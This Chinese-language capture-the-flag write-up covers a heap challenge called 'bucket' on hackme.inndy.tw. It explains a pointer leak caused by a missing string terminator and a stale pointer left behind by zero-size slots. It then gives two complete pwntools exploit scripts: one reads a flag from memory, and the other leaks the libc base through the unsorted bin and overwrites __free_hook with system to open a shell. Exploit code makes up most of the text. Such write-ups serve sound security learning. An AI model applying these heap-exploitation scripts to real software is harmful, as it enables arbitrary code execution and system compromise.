程序分析
file
checksec
保护几乎全开
数据结构
- bucket是一个如下结构的结构体,用单链表串联。根据bucket中的slot数(slot_count),bucket的大小也会变化,slot指针也会变化。
- slot是malloc出来的char数组,其大小不做记录,只用于初始化。
- 全局有一个globalp指针指向根bucket,也有一个currentp指针指向当前操作的bucket
struct bucket{
bucket* next;
int64 slot_count;
char[16] bucket_name;
char* slot0;
char* slot1;
...
}
程序结构
初始化了2个bucket,其中第一个FLAG就在第一个bucket的slot中;第二个FLAG需要getshell获得
操作bucket
在open_bucket后才可以操作slot
寻找漏洞
观察free,无论是drop_bucket还是drop_data,free后指针被清0,没有UAF漏洞
- 漏洞点1:在make_bucket时,如果传入size of slot content大小为0,则会跳过对slot指针的赋值。也就是该数据块原来是什么就还是什么,于是想到让这个部分设置为我们希望读取/修改内存的指针,就可以实现任意地址读、写。
- 漏洞点2:输入bucket_name的函数没有在结尾强制加x00,可以让name为16个a,就会与slot0指针接上。list_bucket就会泄露出slot0地址。
FLAG1
make_bucket(1,"a"*16,[10],["bbb"])
溢出堆指针,计算 FLAG1(内存)的地址
但是注意,如果flag1_addr中有0xa(n)时,会被替换为00,所以要重试
构造一个大小和bucket一样的slot,利用slot布局好内存,设置某个位置为flag1的指针
然后drop_data回到fastbin,等再make_bucket时,这块内存将作为bucket内存
此时原来的flag1还在
利用传入Size of content为0,避免对这块内存赋值,但是此时slot_count为1,在show_data中读取到内存中的FLAG。
完整payload
#!/usr/bin/env python2
# -*- coding:utf8 -*-
import struct
from pwn import *
from pwnlib.util.proc import wait_for_debugger
# context(os='linux', arch='amd64', log_level='debug') #i386 or amd64
#用python xxx.py elf 1调用远程
local = len(sys.argv) == 2
elf = ELF(sys.argv[1])
if local:
io = process(sys.argv[1],env={"FLAG1":"flag{env}"})
else:
io = remote("hackme.inndy.tw", 7722)
def make_bucket(slot_count,name,csize,cs):
io.sendlineafter("What to do","1")
io.sendlineafter("Size of bucket",str(slot_count))
io.sendlineafter("Name of bucket",name)
for i in range(slot_count):
io.sendlineafter("Size of content",str(csize[i]))
if (csize[i]!=0):
io.sendafter("Content of slot",cs[i])
def list_bucket():
io.sendlineafter("What to do","2")
def find_bucket(name):
io.sendlineafter("What to do","3")
io.sendlineafter("Bucket name to find",name)
def drop_bucket():
io.sendlineafter("What to do","5")
def open_bucket():
io.sendlineafter("What to do","6")
def show_data():
io.sendlineafter("What to do","1")
def rename(name):
io.sendlineafter("What to do","4")
def drop_data(idx):
io.sendlineafter("What to do","3")
io.sendlineafter("Which line of data",str(idx))
def close_bucket():
io.sendlineafter("What to do","5")
make_bucket(1,"a"*16,[10],["bbb"]) #name溢出堆指针,计算 FLAG1(内存)的地址
list_bucket()
io.recvuntil("a"*16)
c = io.recvuntil("";",drop=True)
slot1 = u64(c.ljust(8,'x00'))
success("slot1 : %x"%slot1)
flag1_addr = slot1 - 224
success("flag1_addr : %x"%flag1_addr)
fs = "%x"%flag1_addr
if "0a" in fs:
success("0a in address! Try again!")
exit()
make_bucket(1,"ccc",[40],["d"*32+p64(flag1_addr)])
open_bucket()
drop_data(0)
close_bucket()
make_bucket(1,"eee",[0],[''])
open_bucket()
show_data()
io.interactive()
FLAG2
上述过程可以实现任意地址读,但是由于slot的编辑(edit_data)会用strlen判断原来slot的大小,所以如果要实现任意地址写,则需要用rename函数来修改bucket的name字段。
由于程序保护几乎全开,尤其RELRO限制了改不了got表,就改__free_hook
- 套路1:利用FLAG1同样的方法,获取堆地址,确定bucket2的地址
- 套路2:利用“利用unsorted bin获得main_arena地址”的套路吗,获取main_arena地址进而获得libc地址
make_bucket(4,"aaaa",[0x80,0x80,0x80,0x80],["bbbb","cccc","dddd","eeee"])
open_bucket()
drop_data(0)
drop_data(2)
close_bucket()
make_bucket(2,"f"*16,[0x80,0x80],["g"*8,"hhhh"])
与FLAG1同样的套路构造内存,这次是让bucket3->slot0=bucket2
make_bucket(2,"bucket2",[40,8],["d"*32+p64(bucket2),"/bin/shx00"])
open_bucket()
drop_data(0) #带有bucket2指针的块进入fastbin
close_bucket()
make_bucket(1,"bucket3",[0],[''])
open_bucket()
先利用edit_data函数,修改slot对应的内存
free_hook_addr = libc.symbols["__free_hook"] - 0x10 #可以修改的地方在0x10处
data = p64(free_hook_addr).rstrip("x00")
csize = len(data)
success("free_hook size: %d"%csize)
success("__free_hook - 0x10 : %x"%free_hook_addr)
edit_data(0,csize,data) #将bucket2->next改成指向想要的目标(伪bucket)
close_bucket()
此时locked->bucket1->bucket2->fake bucket
利用next_bucket函数进入fake_bucket,用rename函数修改fake_bucket的字段(之所以用rename而不是edit_data是因为edit_data修改的长度会根据原来内容strlen的结果,free_hook这里原来是NULL,所以不能改长;而rename则只限制32长度,满足要求)
find_bucket("bucket2")
next_bucket() #进入到伪bucket,修改名字
open_bucket()
system_addr = libc.symbols["system"]
success("system_addr : %x"%system_addr)
rename(p64(system_addr)) #
close_bucket()
free掉有/bin/sh那块内存,触发__free_hook
find_bucket("bucket2")
open_bucket()
drop_data(1) #free掉有/bin/sh那块内存,触发__free_hook
完整的payload
#!/usr/bin/env python2
# -*- coding:utf8 -*-
import struct
from pwn import *
from pwnlib.util.proc import wait_for_debugger
context(os='linux', arch='amd64', log_level='debug') #i386 or amd64
#用python xxx.py elf 1调用远程
local = len(sys.argv) == 2
elf = ELF(sys.argv[1])
if local:
io = process(sys.argv[1],env={"FLAG1":"flag{env}"})
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #64bit
main_arena_offset = 3951392
else:
io = remote("hackme.inndy.tw", 7722)
libc = ELF("libc-2.23.so.x86_64")
main_arena_offset = 0x3C3B20
def make_bucket(slot_count,name,csize,cs):
io.sendlineafter("What to do","1")
io.sendlineafter("Size of bucket",str(slot_count))
io.sendlineafter("Name of bucket",name)
for i in range(slot_count):
io.sendlineafter("Size of content",str(csize[i]))
if (csize[i]!=0):
io.sendafter("Content of slot",cs[i])
def list_bucket():
io.sendlineafter("What to do","2")
def find_bucket(name):
io.sendlineafter("What to do","3")
io.sendlineafter("Bucket name to find",name)
def drop_bucket():
io.sendlineafter("What to do","5")
def open_bucket():
io.sendlineafter("What to do","6")
def show_data():
io.sendlineafter("What to do","1")
def edit_data(idx,size,data):
io.sendlineafter("What to do","2")
io.sendlineafter("Which line of data",str(idx))
io.sendlineafter("Size of new content",str(size))
io.sendafter("New content", data)
def rename(name):
io.sendlineafter("What to do","4")
io.sendlineafter("New bucket name",name)
def drop_data(idx):
io.sendlineafter("What to do","3")
io.sendlineafter("Which line of data",str(idx))
def close_bucket():
io.sendlineafter("What to do","5")
def next_bucket():
io.sendlineafter("What to do","4")
make_bucket(4,"aaaa",[0x80,0x80,0x80,0x80],["bbbb","cccc","dddd","eeee"])
open_bucket()
drop_data(0)
drop_data(2)
close_bucket()
make_bucket(2,"f"*16,[0x80,0x80],["g"*8,"hhhh"])
#name溢出堆指针,获得bucket2的地址
list_bucket()
io.recvuntil("f"*16)
c = io.recvuntil("";",drop=True)
slot = u64(c.ljust(8,'x00'))
success("slot : %x"%slot)
bucket2 = slot - 368 + 0x50
success("bucket2 : %x"%bucket2)
#利用unsorted bin获得main_arena地址,从而获得libc基地址
open_bucket()
show_data()
io.recvuntil("g"*8)
bk = u64(io.recvuntil("nRow[",drop=True).ljust(8,'x00'))
main_arena = bk - 216
success("main_arena : %x"%main_arena)
libc.address = main_arena - main_arena_offset
success("libc.address : %x"%libc.address)
close_bucket()
#恢复环境,清空(fastbin里面还有)
drop_bucket()
find_bucket("aaaa")
drop_bucket()
#locked->bucket1
find_bucket("/home/ctf/flag")
#构造一个bucket2
make_bucket(2,"bucket2",[40,8],["d"*32+p64(bucket2),"/bin/shx00"])
#locked->bucket1->bucket2
open_bucket()
drop_data(0) #带有bucket2指针的块进入fastbin
close_bucket()
#从fastbin中获取到刚才free掉的块
#bucket2->next = bucket3
#locked->bucket1->bucket2->bucket3(bucket3->slot0=bucket2)
make_bucket(1,"bucket3",[0],[''])
open_bucket()
free_hook_addr = libc.symbols["__free_hook"] - 0x10 #可以修改的地方在0x10处
data = p64(free_hook_addr).rstrip("x00")
csize = len(data)
success("free_hook size: %d"%csize)
success("__free_hook - 0x10 : %x"%free_hook_addr)
edit_data(0,csize,data) #将bucket2->next改成指向想要的目标(伪bucket)
close_bucket()
#locked->bucket1->bucket2->fake bucket
find_bucket("bucket2")
next_bucket() #进入到伪bucket,修改名字
open_bucket()
system_addr = libc.symbols["system"]
success("system_addr : %x"%system_addr)
rename(p64(system_addr)) #
close_bucket()
find_bucket("bucket2")
open_bucket()
drop_data(1) #free掉有/bin/sh那块内存,触发__free_hook
io.interactive()